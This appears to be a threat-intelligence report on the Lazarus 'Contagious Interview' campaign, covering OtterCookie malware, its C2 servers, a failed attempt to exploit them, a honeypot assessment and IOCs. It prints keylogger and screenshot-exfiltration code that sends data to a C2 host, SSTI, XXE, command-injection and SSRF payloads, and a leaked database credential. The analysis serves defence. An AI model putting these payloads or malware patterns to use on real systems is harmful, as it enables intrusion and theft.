Hunting Lazarus Part III: The Infrastructure That Was Too Perfect

The full investigation is consolidated in the Inside the Machine research article.

Executive Summary

During continued investigation of the Contagious Interview campaign, Red Asgard's threat research team:

• Discovered OtterCookie, a second malware family operating alongside BeaverTail/InvisibleFerret—more advanced, with keylogging, screenshot capture, VM evasion, and 27 wallet extension targets
• Mapped approximately 20 previously undocumented C2 servers with consistent port configurations—evidence of Infrastructure-as-Code deployment
• Confirmed both malware families share the same servers, with BeaverTail on port 1244 and OtterCookie on port 5918
• Attempted to exploit the C2 infrastructure using 11 attack classes (SSTI, prototype pollution, HTTP smuggling, XXE, command injection, deserialization, SSRF, file upload RCE, CRLF, FTP brute force, Express.js CVEs)—every single one failed
• Identified six indicators that this infrastructure may be a honeypot or counter-intelligence operation, not a live APT platform

This is the report we did not want to write. The investigation that started with a new malware family ended with a question we cannot answer: are we hunting Lazarus, or is someone hunting us?

---

How It Started

After publishing Part I and Part II, we continued monitoring the C2 infrastructure we had mapped. We expected the operators to rotate IPs and domains—standard procedure after public disclosure. Instead, we found something new.

In late January 2026, we identified a new Vercel domain: tetrismic.vercel.app. A POST request to /api/ipcheck returned a 43KB JavaScript payload. We expected another BeaverTail variant. Instead, the code was structurally different—different C2 endpoints, different capabilities, different protocol. We deobfuscated the payload and found a hardcoded C2 IP (172.86.105.40:5918) along with campaign UIDs embedded in the code. This IP was not present in any public threat intelligence database at the time of discovery—not VirusTotal, not OTX, not any commercial feed we checked. Subsequent port scanning from the pivoted IP revealed nearly 20 additional servers with similar port configurations, none of which had been publicly documented.

That discovery led us to the exploitation campaign against the infrastructure itself, and finally to a conclusion that calls into question everything we documented in the first two parts of this series.

---

OtterCookie: A Second Malware Family

Discovery

The payload from tetrismic.vercel.app was not BeaverTail. The code structure, C2 communication pattern, and capability set were distinct. We are calling this family OtterCookie, consistent with naming conventions used by other researchers tracking Contagious Interview malware.

Primary C2: 172.86.105.40:5918

This IP was absent from all public threat intelligence databases at the time of discovery.

Campaign Architecture

Field	Value
UID	4a3703430a2ec2ae30f362b29e994f77
ukey	1995
t	66
Active Ports	5918, 5974, 5934, 5961

The C2 exposes a richer endpoint surface than BeaverTail:

Endpoint	Function
/upload	File exfiltration
/total	Bulk data upload (screenshots, mass file theft)
/clip	Clipboard and keystroke exfiltration
/command?uid=	Command polling (10-second interval)
/output	Command execution results
/api/service/process/{uid}	Victim registration and tracking

What Makes OtterCookie Different

OtterCookie is more capable than anything we captured from the BeaverTail family. Four capabilities stand out.

Keylogger. OtterCookie deploys a system-wide keyboard hook via GlobalKeyboardListener. Every keystroke is captured—not just browser input, but passwords typed into desktop applications, terminal commands, messaging apps. The keystrokes buffer until the user presses Enter, then flush to the C2's /clip endpoint:

const { GlobalKeyboardListener } = require('module-listener');

const listener = new GlobalKeyboardListener();
listener.addListener((e, down) => {
  if (down) {
    keystrokes += e.name;
    if (e.name === 'enter' || e.name === 'return') {
      axios.post(`http://${C2_IP}:${port}/clip`, {
        uid, clip: keystrokes, hostname
      });
      keystrokes = '';
    }
  }
});

Screenshot Capture. Every five seconds, OtterCookie captures all connected monitors, XOR-encrypts the combined image with key 0x5A, and uploads it to /total:

setInterval(async () => {
  const screenshots = await screenshot.captureAllMonitors();
  const combined = await combineScreenshots(screenshots);
  const encrypted = xorEncrypt(combined, 0x5A);
  await axios.post(`http://${C2_IP}:${port}/total`, {
    uid, file: encrypted, type: 'screenshot'
  });
}, 5000);

Multi-monitor support is notable. The operators are anticipating developer workstations with two or three displays—exactly the kind of targets Contagious Interview recruits.

Persistence. BeaverTail had no persistence. It relied on VSCode re-execution, meaning a reboot killed the implant. OtterCookie fixes this:

Registry: HKCU\...\Run → "NodeHelper" → node index.js
Scheduled Task: "NodeUpdate" → runs at logon, highest privileges

Two independent persistence mechanisms—if one is cleaned, the other reinstates the malware on next login.

VM Detection. OtterCookie fingerprints the execution environment across all three major platforms:

// Windows: wmic computersystem get model,manufacturer
// macOS:   system_profiler SPHardwareDataType
// Linux:   /proc/cpuinfo

// Detects: vmware, virtualbox, qemu, parallels, kvm, xen, bochs,
//          microsoft corporation (Hyper-V)

If a virtual machine is detected, the malware degrades its behavior. This explains why sandbox analysis may capture an incomplete picture of OtterCookie's capabilities.

Wallet Targeting: 27 Extensions

OtterCookie targets 27 cryptocurrency wallet browser extensions—a significant expansion from BeaverTail's 2-3 targets:

Extension	Wallet
nkbihfbeogaeaoehlefnkodbefgpgknn	MetaMask
bfnaelmomeimhlpmgjnjophhpkkoljpa	Phantom
acmacodkjbdgmoleebolmdjonilkdbch	Keplr
ibnejdfjmmkpcnlpebklmnkoeoihofec	Binance Chain
ppbibelpcjmhbdihakflkdcoccbgbkpo	Core
omaabbefbmiijedngplfjmnooppbclkk	Tonkeeper
egjidjbpglichdcondbcbdnbeeppgdph	Trust
hnfanknocfeofbddgcijnmhnfnkdnaad	Coinbase
+ Rabby, Brave, Exodus, Keplr, OKX, SafePal, Math, ONTO, MyEtherWallet, TronLink, Ronin, Temple, Nami, and others

For each extension, OtterCookie extracts vault data (encrypted private keys), seed phrase backups, IndexedDB contents, Secure Preferences, and Service Worker data. This is comprehensive—not just stealing credentials, but harvesting everything needed to fully compromise a wallet offline.

BeaverTail vs OtterCookie

Capability	BeaverTail	OtterCookie
C2 Protocol	HTTP + Socket (port 1244)	HTTP only (port 5918)
Keylogger	No	System-wide (GlobalKeyboardListener)
Screenshot	No	All monitors, 5-second interval, XOR 0x5A
Persistence	None (VSCode re-execution)	Registry Run key + Scheduled Task
VM Detection	VirtualBox MAC only	Full detection (VMware, QEMU, KVM, Xen, Parallels, Bochs)
Wallet Targets	2-3 extensions	27 extensions
Clipboard	Every 3 seconds	Every 5 seconds
Obfuscation	64 nested layers (bro payload)	Single-layer JavaScript
XOR Keys	G01d*8@(, Vw1aGYoP, multiple	0x5A (screenshot only)

OtterCookie is the more capable implant. BeaverTail has deeper obfuscation. Together, they provide complementary coverage: BeaverTail for initial access and evasion, OtterCookie for persistent, comprehensive data collection.

---

The Standardized Infrastructure

Nearly Twenty Ghost Servers

While pivoting from the OtterCookie C2, we identified approximately 20 additional servers not present in any public threat intelligence database. The discovery came from infrastructure correlation—same hosting providers, adjacent IP ranges, and a distinctive port fingerprint. The exact count after deduplication is 17-18 unique IPs; port scan data contained some duplicates, malformed responses, and varying port states that complicate a precise count.

The port fingerprint is what made us stop and stare.

Consistent Configuration Across the Infrastructure

Port	Service	Purpose
21/tcp	FTP	Data exfiltration
80/tcp	HTTP	Web interface
443/tcp	HTTPS	Encrypted web
1224/tcp	Custom	BeaverTail alternate C2
1244/tcp	Express.js	BeaverTail primary C2
3389/tcp	RDP	Operator access
5918/tcp	Custom	OtterCookie primary C2
5934/tcp	Custom	OtterCookie alternate
5961/tcp	Custom	OtterCookie alternate
5974/tcp	Custom	OtterCookie alternate
5985/tcp	WinRM	Remote management
8000/tcp	HTTP	Custom application
54321/tcp	Unknown	Unknown purpose

Approximately 20 servers. The same 13 ports. Port configurations were identified through scanning, though service-level verification was not performed on all endpoints. Not every server responded identically on every probe—but the pattern was consistent enough to be unmistakable.

This is not manual configuration. You do not stand up this many Windows servers across three hosting providers (Majestic Hosting, TIER-NET, EuroHoster) and open the same 13 ports on each one by hand. This is Infrastructure-as-Code—a deployment template, probably a PowerShell or Ansible script, executed consistently across every server.

Both Families, Same Servers

The port list confirms what the shared hosting suggested: both malware families operate from the same infrastructure. Port 1244 serves BeaverTail. Port 5918 serves OtterCookie. The same physical server handles victims from both campaigns.

BeaverTail C2s (confirmed):

• 147.124.213.232, 147.124.212.125, 147.124.214.129, 66.235.168.238, 45.59.163.55, 216.250.251.87

OtterCookie C2s (confirmed):

• 172.86.105.40, 172.86.116.178, 86.106.85.234, 144.172.104.117, 144.172.101.45

Detection opportunity: Any server presenting this port configuration—particularly the unusual combination of 1224, 1244, 5918, 5934, 5961, 5974—is likely Lazarus infrastructure, even if the IP has not yet been flagged in threat intelligence feeds.

The 147.124.208.0/20 Netblock

Five of the confirmed C2 IPs fall within a single /20 netblock: 147.124.208.0/20, a 4,096-IP range owned by Majestic Hosting Solutions (operating as SpinServers) in Carrollton, Texas, AS396073. The five IPs span four different /24 subnets within the block, suggesting the operators are deliberately distributing infrastructure across the range to avoid pattern-based detection. Two additional OtterCookie C2s (172.86.116.178, 86.106.85.234) have been confirmed by Rewterz in their May 2024 advisory, further expanding the documented footprint.

---

The Binary Protocol Revisited

Port 22412

We revisited the binary protocol on port 22412, previously documented in Part I on server 66.235.168.238 (Z238). The protocol is present on the standardized infrastructure as well.

Message format (8 bytes):

+--------+--------+--------+--------+--------+--------+--------+--------+
| Cmd L  | Cmd H  | Param1 | Param2 | Param3 | Param4 | Param5 | Param6 |
+--------+--------+--------+--------+--------+--------+--------+--------+

Response format (4 bytes):

+--------+--------+--------+--------+
| Status | Result L| Result H| ?     |
+--------+--------+--------+--------+

Banner: 00 00 2c d4 (0x2cd4 = 11,476 decimal). Returned on connect without authentication.

Command 0x0001 is accepted with a 00 00 00 00 response. Command 0x0002 crashes the connection. Rate limiting is aggressive—consecutive probes get refused.

The protocol remained opaque. So we decided to try harder.

---

Turning the Tables

Two months into this investigation, we had documented the infrastructure, captured the malware, and mapped the network. The natural next step was to see if we could exploit the C2 servers themselves.

We built a testing framework and systematically probed the Express.js services running on ports 1244, 5918, and 8000 across multiple C2 IPs. We tested 11 vulnerability classes. Every test was conducted from rotating VPN endpoints through SOCKS5 proxies.

SSTI (Server-Side Template Injection)

We injected payloads for six template engines:

Jinja2:      {{7*7}}  {{config.__class__.__init__.__globals__}}
EJS:         <%=7*7%>  <%=global.process.mainModule.require('child_process')%>
Pug:         #{7*7}
Nunjucks:    {{range.constructor("return this")()}}
Handlebars:  {{this.constructor.constructor('return this')()}}
Freemarker:  ${7*7}  <#assign ex="freemarker.template.utility.Execute"?new()>

Result: NOT VULNERABLE. All payloads returned safely. The servers do not use template rendering on user input.

Prototype Pollution

{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"polluted": true}}}

The servers accepted the JSON without error but showed no evidence of pollution. Safe JSON parsing—likely JSON.parse() without recursive merge.

Result: NOT VULNERABLE.

HTTP Request Smuggling

We tested CL.TE, TE.CL, and TE.TE desynchronization payloads:

POST / HTTP/1.1
Transfer-Encoding: chunked
Content-Length: 6

0

G

Result: NOT VULNERABLE. All smuggling attempts returned 400 Bad Request. The HTTP parser rejects ambiguous framing.

XXE (XML External Entity)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

Result: NOT VULNERABLE. The servers do not parse XML input.

Command Injection

; id
| id
$(id)
`id`

Injected into every parameter of every endpoint.

Result: NOT VULNERABLE.

Deserialization

Node.js node-serialize RCE payloads, JSON with __proto__ chains, function constructors.

Result: NOT VULNERABLE.

SSRF (Server-Side Request Forgery)

http://169.254.169.254/latest/meta-data/
http://127.0.0.1:22/

Result: NOT VULNERABLE. No outbound requests observed.

File Upload RCE

Multipart form uploads with .js, .phtml, .php extensions.

Result: NOT VULNERABLE. Multipart requests are blocked. Connection resets on upload attempts.

CRLF Injection

%0d%0aSet-Cookie:%20malicious=true

Result: NOT VULNERABLE.

Express.js CVEs

We tested three known Express.js vulnerabilities:

CVE	Vulnerability	Result
CVE-2022-24999	qs prototype pollution	NOT EXPLOITABLE
CVE-2020-7699	express-fileupload prototype pollution	NOT EXPLOITABLE
CVE-2017-16026	request hostname spoofing	NOT EXPLOITABLE

FTP and Remote Services

• FTP: Anonymous login disabled. All credential combinations failed.
• RDP (3389): Open but credential-protected.
• WinRM (5985): Open but credential-protected.
• SMB: Not exposed.

The Scorecard

Attack Class	Techniques Tested	Vulnerable?
SSTI	6 template engines	No
Prototype Pollution	3 payloads	No
HTTP Smuggling	CL.TE, TE.CL, TE.TE	No
XXE	DTD entity expansion	No
Command Injection	4 injection styles	No
Deserialization	node-serialize, proto chain	No
SSRF	Cloud metadata, localhost	No
File Upload	Multipart with extensions	No
CRLF	Header injection	No
Express.js CVEs	3 CVEs	No
FTP Brute Force	Multiple credential sets	No

Zero out of eleven. Not a single exploitable vulnerability across the entire C2 surface.

That is when the investigation changed direction.

---

The Honeypot Question

We have spent our careers testing web applications. Express.js applications. Node.js applications. Across four years of threat infrastructure analysis covering several APT campaigns and dozens of criminal C2 servers, we have never—not once—encountered a criminal C2 server with a perfect security posture. APT infrastructure has bugs. Rushed deployments leave misconfigurations. Operators make mistakes. That is how we got into the MongoDB in Part I. That is how we cracked the JWT secret in Part II.

But not here. Not on these servers. We started looking at everything with fresh eyes, and found six indicators that something is wrong.

Indicator 1: Zero Exploitable Vulnerabilities

We covered this above. Eleven attack classes, zero results. Real criminal infrastructure—even state-sponsored infrastructure—has attack surface. These servers are hardened beyond what we have ever observed from Lazarus Group or any APT.

Indicator 2: The Private Key That Should Not Exist

During endpoint fuzzing, we requested /cert/private.pem. The server returned HTTP 200 with a 3,397-byte response.

A real APT operation would never expose a private key file through a web endpoint. This is either catastrophic operational security failure or deliberate bait. Given the otherwise perfect security posture, catastrophic failure seems unlikely.

If this is a honeypot, the key serves a purpose: any researcher who downloads and uses it has revealed their analytical approach and toolchain.

Indicator 3: The Universal "DONE" Response

We uploaded every payload we had to every upload endpoint. Webshells, encoded binaries, oversized files, malformed multipart, polyglot files. Every single upload returned:

DONE

No validation. No file type checking. No size limits. Just "DONE."

A real C2 server processes uploads—validates them, stores them, acts on them. A data sink collecting attacker techniques says "DONE" to everything, logs what was sent, and learns from it.

Indicator 4: Rate Limiting Theater

The servers implement rate limiting. We documented this across multiple sessions. But the bypass is trivial: change your exit country. No IP reputation scoring, no behavioral analysis, no fingerprinting. Just source-IP rate limiting that any researcher with a VPN subscription can defeat.

Real rate limiting on APT infrastructure (like what we observed on the Z238 binary protocol in Part I) is aggressive and persistent—our IPs were blocked for hours. The rate limiting on these servers is performative.

Indicator 5: No Real Bot Traffic

The C2 endpoints that should be handling victim check-ins (/command?uid=) show a distinctive pattern: long-poll timeouts. When we query with fabricated UIDs, the connection hangs for exactly the timeout period, then closes.

If these servers had active victims beaconing, we would expect to see queued commands, cached responses, or at least different timeout behavior for "known" vs "unknown" UIDs. We see none of this. The long-poll endpoints behave identically regardless of input—suggesting no real victim management is occurring.

Indicator 6: Recent Deployment

The approximately 20 standardized servers were deployed in January 2025—coinciding with the period when our investigation was active and our Part I publication was generating attention in the threat intelligence community. The infrastructure appeared after we started looking.

The Counter-Arguments

Before we conclude this is a honeypot, we need to address the evidence pointing the other direction.

The malware is real. The OtterCookie sample we captured is 536KB of functional malware code. It has a working keylogger, screenshot capability, persistence mechanisms, VM detection, and wallet extraction for 27 extensions. This matches Lazarus Group TTPs documented by SentinelOne, Sekoia, and Unit42. Writing convincing malware as honeypot bait is expensive and requires deep domain expertise.

The infrastructure is expensive. Nearly 20 servers across three hosting providers costs real money. Monthly. A honeypot operator running this for a year is spending thousands of dollars. This is possible for a government operation but unusual for a research honeypot.

The timestamps predate us. Some infrastructure elements have timestamps dating to May 2023—well before our investigation began in January 2026. If this is a honeypot, it was not built in response to our work specifically.

The technical sophistication is genuine. The custom binary protocol on port 22412, the campaign token architecture, the multi-family malware deployment—these represent significant engineering effort. Building fake infrastructure at this fidelity level requires as much expertise as building real infrastructure.

The MongoDB cluster hosts legitimate development databases. The MongoDB credentials hardcoded in the BeaverTail malware (mcplustexturepack:6BV8j5QJWAxy5va) point to a MongoDB Atlas cluster that hosts development databases for unrelated projects—a sports social application (playmate database) and what appears to be university SaaS staging data. These are legitimate development databases with real application schemas, not fabricated data designed to look convincing. The question is not "why is there fake data" but "why does the malware point to a MongoDB cluster also used for legitimate development?" This is consistent with infrastructure blending—using the same cloud resources for both legitimate work and C2 operations. Lazarus operators are known to mix legitimate and malicious infrastructure, making attribution harder and providing plausible deniability. This pattern actually supports the real APT hypothesis more than the honeypot hypothesis.

Cross-APT Intelligence: A Complicating Factor

In July 2025, researchers at Gen Digital published findings that Gamaredon (a Russian-attributed APT) and Lazarus (DPRK) shared the same IP address. The same server hosted both Gamaredon C2 infrastructure and obfuscated InvisibleFerret payloads.

This is unusual. Russian and North Korean APT groups do not typically share infrastructure. Possible explanations include shared bulletproof hosting, infrastructure resale on criminal markets, or—relevant to our analysis—a third party operating infrastructure that mimics both groups.

Our Assessment: 70/30 Honeypot

We assign a 70% probability that the standardized servers are a honeypot or counter-intelligence operation, and a 30% probability that they are legitimate Lazarus infrastructure with unusually good security practices.

We arrived at this assessment by weighting the indicators. The zero-vulnerability finding and the universal "DONE" response pattern are strongest—each alone would be unusual for operational C2 infrastructure. The remaining indicators (rate limiting, no bot traffic, timing, the exposed private key) are individually explainable but collectively suggestive. The counter-evidence—real malware code quality, infrastructure cost, historical timestamps, and the legitimate MongoDB development databases pointing to infrastructure blending—prevents us from going higher than 70%.

Six of the indicators point toward honeypot. The counter-arguments are strong but do not outweigh the cumulative weight of the anomalies. The zero-vulnerability finding alone is unprecedented in our experience with APT infrastructure.

Our recommendation: treat as honeypot until proven otherwise.

This means:

• Do not attempt further exploitation (you may be feeding an intelligence collection operation)
• Do not trust data obtained from these servers (it may be fabricated)
• Do use the IOCs defensively (they protect your network regardless of honeypot status)
• Do share this analysis with peers (the community should know)

---

What This Means

If these servers are a honeypot, three theories explain their existence.

Theory 1: Law Enforcement Operation. The FBI, NSA, or a partner agency stood up infrastructure mimicking Lazarus Group to collect intelligence on researchers and threat actors probing North Korean operations. The "captured" malware samples are real (seized from actual Lazarus operations) deployed on controlled infrastructure. The perfect security posture reflects government hardening standards.

Theory 2: Lazarus Counter-Intelligence. Lazarus Group itself deployed hardened infrastructure to identify researchers investigating their operations. By monitoring who probes the servers and what techniques they use, the group learns about the threat intelligence community's capabilities. The exposed private key is a deliberate trap.

Theory 3: Intelligence Community Research. A signals intelligence agency (not necessarily American) built a realistic Contagious Interview replica for internal research, training, or red team exercises. The infrastructure was accidentally or intentionally exposed to the internet. Our discovery was unplanned.

We cannot determine which theory is correct. Each has implications for the threat hunting community.

If Theory 1, researchers probing this infrastructure are having their techniques cataloged by a friendly intelligence service. Uncomfortable, but not hostile.

If Theory 2, researchers are having their techniques cataloged by an adversary. This is a direct operational security concern for anyone who tested these servers.

If Theory 3, the implications depend on the agency and intent.

Regardless of which theory holds, the practical impact is the same: the IOCs from these servers should still be blocked defensively. Whether the infrastructure is real APT or a honeypot mimicking APT, connections to these IPs from your network indicate something worth investigating.

---

Defensive Recommendations

The IOCs Still Protect You

Regardless of the honeypot question, the defensive value of our findings is unchanged:

1. OtterCookie is a real malware family. Whether the C2 servers are real or replicated, the malware code matches documented Lazarus TTPs. Block the IOCs.
2. The port configuration is a detection signature. Any server presenting ports 1224, 1244, 5918, 5934, 5961, 5974 simultaneously is either Lazarus infrastructure or infrastructure mimicking Lazarus—both worth blocking.
3. OtterCookie persistence must be hunted. If a developer in your organization was targeted, these artifacts will be present regardless of C2 status.

Network-Level

# Block all documented C2 IPs

# BeaverTail/InvisibleFerret
147.124.213.232
147.124.212.125
147.124.214.129
66.235.168.238
45.59.163.55
216.250.251.87

# OtterCookie
172.86.105.40
172.86.116.178
86.106.85.234
144.172.104.117
144.172.101.45

Alert on the port configuration signature: any single host with ports 1224, 1244, 5918, 5934, 5961, and 5974 all open.

Monitor connections to *.vercel.app from backend server processes. Block tetrismic.vercel.app specifically.

Host-Level: OtterCookie Detection

# Registry persistence
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" |
  Where-Object { $_.NodeHelper -like "*node*" }

# Scheduled task persistence
Get-ScheduledTask | Where-Object {
  $_.TaskName -like "*NodeUpdate*" -or
  $_.Actions.Execute -like "*node*"
}

# Keylogger module
Get-Process node -ErrorAction SilentlyContinue |
  Where-Object { $_.Modules.ModuleName -contains "module-listener" }

Wallet Security

OtterCookie's 27-extension targeting means browser-based wallets are not safe on compromised machines. Recommendations:

• Use hardware wallets (Ledger, Trezor) for any holdings over trivial amounts
• Separate browser profiles for cryptocurrency activity
• Enable extension whitelisting via Chrome enterprise policies
• Monitor Secure Preferences and Local Extension Settings for unexpected reads

---

MITRE ATT&CK Mapping

OtterCookie-Specific

ID	Technique	Evidence
T1056.001	Input Capture: Keylogging	GlobalKeyboardListener, sends to /clip
T1113	Screen Capture	captureAllMonitors(), 5-second interval
T1115	Clipboard Data	/clip endpoint, continuous exfil
T1555.003	Credentials from Web Browsers	27 wallet extensions, vault data
T1528	Steal Application Access Token	Wallet seed phrases, IndexedDB
T1020	Automated Exfiltration	Continuous upload to /total
T1059.007	JavaScript	Node.js RAT
T1547.001	Registry Run Keys / Startup Folder	"NodeHelper"
T1053.005	Scheduled Task	"NodeUpdate", logon trigger
T1497	Virtualization/Sandbox Evasion	VMware, VirtualBox, QEMU, KVM, Xen, Parallels, Bochs
T1027	Obfuscated Files or Information	XOR 0x5A (screenshots)
T1102.001	Dead Drop Resolver	tetrismic.vercel.app

Campaign-Wide (All Parts)

ID	Technique	First Observed
T1566.003	Phishing via Service	Part I (Upwork)
T1204.002	Malicious File	Part I (VSCode tasks)
T1027.002	Software Packing	Part I (64-layer obfuscation)
T1102.001	Dead Drop Resolver	Part I (Pastebin), Part II (Polygon), Part III (Vercel)
T1573.001	Symmetric Encryption	Part I (XOR keys)
T1573.002	Asymmetric Encryption	Part I (RSA-PSS)
T1496	Resource Hijacking	Part I (XMRig)
T1497.001	Sandbox Evasion	Part II (MAC detection), Part III (full VM detection)

---

IOC Summary

IP Addresses

IP	Ports	Family	Status
147.124.213.232	1244, 21, 22411, 22412, 3389, 5985	BeaverTail	Confirmed
147.124.212.125	1244, 22411, 3389, 5985	BeaverTail	Confirmed
147.124.214.129	1244	BeaverTail	Confirmed (Rewterz May 2024)
66.235.168.238	1244, 1249, 22411, 3389, 5985	BeaverTail	Confirmed
45.59.163.55	1244	BeaverTail	Confirmed
216.250.251.87	1247	BeaverTail	Confirmed
172.86.105.40	5918, 5974, 5934, 5961	OtterCookie	Confirmed
172.86.116.178	5918	OtterCookie	Confirmed (Rewterz May 2024)
86.106.85.234	4558	OtterCookie	Confirmed (Rewterz May 2024)
144.172.104.117	5918	OtterCookie	Confirmed
144.172.101.45	1224	OtterCookie	Confirmed

Netblock of interest: 147.124.208.0/20 (AS396073, Majestic Hosting / SpinServers, Carrollton TX)

Domains

Domain	Family	Status
tetrismic.vercel.app	OtterCookie	ACTIVE
codeviewer-three.vercel.app	BeaverTail	PARTIAL
jerryfox-platform.vercel.app	Unknown	TAKEN DOWN (HTTP 451)
brantwork.vercel.app	BeaverTail	TAKEN DOWN (HTTP 451)
task-hrec.vercel.app	BeaverTail	TAKEN DOWN (HTTP 451)
kb102531x.vercel.app	BeaverTail	TAKEN DOWN (HTTP 451)

Campaign Identifiers

Token / ID	Family	Context
4a3703430a2ec2ae30f362b29e994f77	OtterCookie	UID
1995	OtterCookie	ukey
66	OtterCookie	t parameter
hkMrMq7	BeaverTail	Campaign token
kmHgMq7	BeaverTail	Campaign token
dGVhbTE1 (team15)	BeaverTail	Campaign token
31df390f0305	BeaverTail	Vercel campaign
env08539	BeaverTail	EuroHoster campaign

File IOCs

Indicator	Type	Family
XOR key 0x5A	Screenshot encryption	OtterCookie
XOR key G01d*8@(	File encryption	BeaverTail
XOR key Vw1aGYoP	Base85 layer	BeaverTail
XOR key Xt3rqfmL	payl module	BeaverTail
XOR key Ze4pq4iT	MetaMask injector	BeaverTail
XOR key 0xcb	Binary protocol	BeaverTail

String IOCs

# OtterCookie
GlobalKeyboardListener
node-screenshots
NodeHelper
NodeUpdate
module-listener
captureAllMonitors

# BeaverTail
TSUNAMI_INJECTOR
TSUNAMI_PAYLOAD
!!!HappyPenguin1950!!!
Windows Update Script.pyw
G01d*8@(

Port Configuration Signature

Any host presenting ALL of the following ports is likely Contagious Interview infrastructure:

1224/tcp AND 1244/tcp AND 5918/tcp AND 5934/tcp AND 5961/tcp AND 5974/tcp

Additional confirming ports: 21, 80, 443, 3389, 5985, 8000, 54321

---

Conclusion

We set out to document a new malware family and map additional infrastructure. We accomplished both. OtterCookie is a genuine advancement in the Contagious Interview toolkit—keylogging, screenshot capture, VM evasion, and persistent access capabilities that BeaverTail lacked. The approximately 20 standardized servers reveal an Infrastructure-as-Code deployment model that enables rapid scaling.

But the investigation took us somewhere we did not expect. Eleven attack classes, zero vulnerabilities, an exposed private key, universal upload acceptance, performative rate limiting, and no evidence of real victim traffic. Individually, each indicator has an innocent explanation. Together, they paint a picture of infrastructure that was built to be found and probed—not to operate a malware campaign.

We are publishing this analysis because the threat intelligence community deserves to know. Not every researcher will agree with our 70/30 assessment. Some will look at the OtterCookie code quality, the infrastructure cost, and the MongoDB evidence of infrastructure blending and conclude these are real Lazarus servers with competent operators. That is a defensible position.

What is not defensible is ignoring the anomalies. We have been doing this long enough to know when something does not add up, and this does not add up.

The uncomfortable truth: we may never know with certainty whether we spent two months investigating a live APT operation or an elaborate intelligence collection exercise. But the IOCs protect defenders either way, the malware analysis advances community understanding either way, and the question itself—are we hunting them, or are they hunting us?—is one every threat researcher should be asking.

---

A Practitioner's Perspective

The "Contagious Interview" campaign isn't new—SentinelOne, Sekoia, and others have documented it extensively. What we're adding here is what happens when you don't just analyze the malware, but actively probe the infrastructure and question your assumptions when the results don't match expectations.

The operators are competent. They compartmentalize credentials. They monitor for enumeration. They build sophisticated malware. But the perfect security posture of these servers—zero exploitable vulnerabilities across eleven attack classes—is unprecedented in our experience with APT infrastructure.

For organizations: if you're hiring crypto developers through Upwork, Fiverr, or similar platforms, you're in the target zone. Vet repositories before opening them. Disable VSCode auto-run tasks. Review package.json scripts before running npm install. The OtterCookie persistence mechanisms mean a compromise survives reboots.

For threat hunters: the IOCs in this report are actionable. The port configuration signature enables proactive detection. The OtterCookie detection queries are ready to deploy.

For the threat intelligence community: we encourage peer review of our honeypot assessment. We may be wrong. But if we're right, researchers need to know.

---

How Red Asgard Can Help

Red Asgard Security provides offensive security services, threat intelligence, and AI security assessments to organizations that operate in high-threat environments. Our expertise spans penetration testing, malware analysis, APT investigation, and security research.

Services:

• Offensive Security & Penetration Testing
• Threat Intelligence & APT Tracking
• AI/ML Security Assessment
• Contractor Code Review & Supply Chain Security
• Incident Response Support

This investigation originated from our freelancer code vetting practice—a service we offer to organizations that outsource development work. If you're outsourcing development work—especially in crypto or Web3—we'd welcome the opportunity to discuss your security posture.

Contact: [email protected]

---

References

1. Part I: Hunting Lazarus—Inside the Contagious Interview C2 Infrastructure
2. Part II: When the Dead Drop Moved to the Blockchain
3. SentinelOne: Contagious Interview: North Korean Threat Actors Scout Cyber Intel Platforms
4. Sekoia: ClickFake Interview Campaign by Lazarus
5. MITRE ATT&CK: Contagious Interview (G1052)
6. Unit42: Two Campaigns by North Korea-Linked Bad Actors
7. Gen Digital: Gamaredon and Lazarus Shared Infrastructure (July 2025)

---

TLP: WHITE—Disclosure is not limited. Information may be distributed freely.